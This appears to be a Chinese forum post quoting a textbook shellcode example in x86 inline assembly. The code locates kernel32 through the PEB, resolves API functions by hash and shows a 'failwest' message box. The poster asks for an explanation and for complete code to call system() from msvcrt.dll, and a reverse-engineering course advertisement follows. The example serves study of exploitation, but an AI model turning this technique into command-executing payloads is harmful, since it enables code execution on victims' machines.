int main()
{
_asm{
nop
nop
nop
nop
nop
CLD ; clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ; esi = addr of first function hash
lea edi,[esi-0xc] ; edi = addr to start writing function
; make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx
; push a pointer to "user32" onto stack
mov bx, 0x3233 ; rest of ebx is null
push ebx
push 0x72657375
push esp
xor edx,edx
; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = address of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list
mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll)
mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll
find_lib_functions:
lodsd ; load next hash into al and increment esi
cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger
; LoadLibrary("user32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0x8] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of user32.dll
find_functions:
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions
next_function_loop:
inc edi ; increment function counter
mov esi, [ebx + edi * 4] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small)
hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop
mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers
; loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions
function_call:
xor ebx,ebx
push ebx // cut string
push 0x74736577
push 0x6C696166 //push failwest
mov eax,esp //load address of failwest
push ebx
push eax
push eax
push ebx
call [edi - 0x04] ; //call MessageboxA
push ebx
call [edi - 0x08] ; // call ExitProcess
nop
nop
nop
nop
以上是书中的例子，我就是不明白，请各位大大解释一下，行吗？
如果我想调用msvcrt.dll中的system以上代码怎么改呢？希望有完整的代码。
[培训]《安卓高级研修班(网课)》月薪三万计划，掌握调试、分析还原ollvm、vmp的方法，定制art虚拟机自动化脱壳的方法
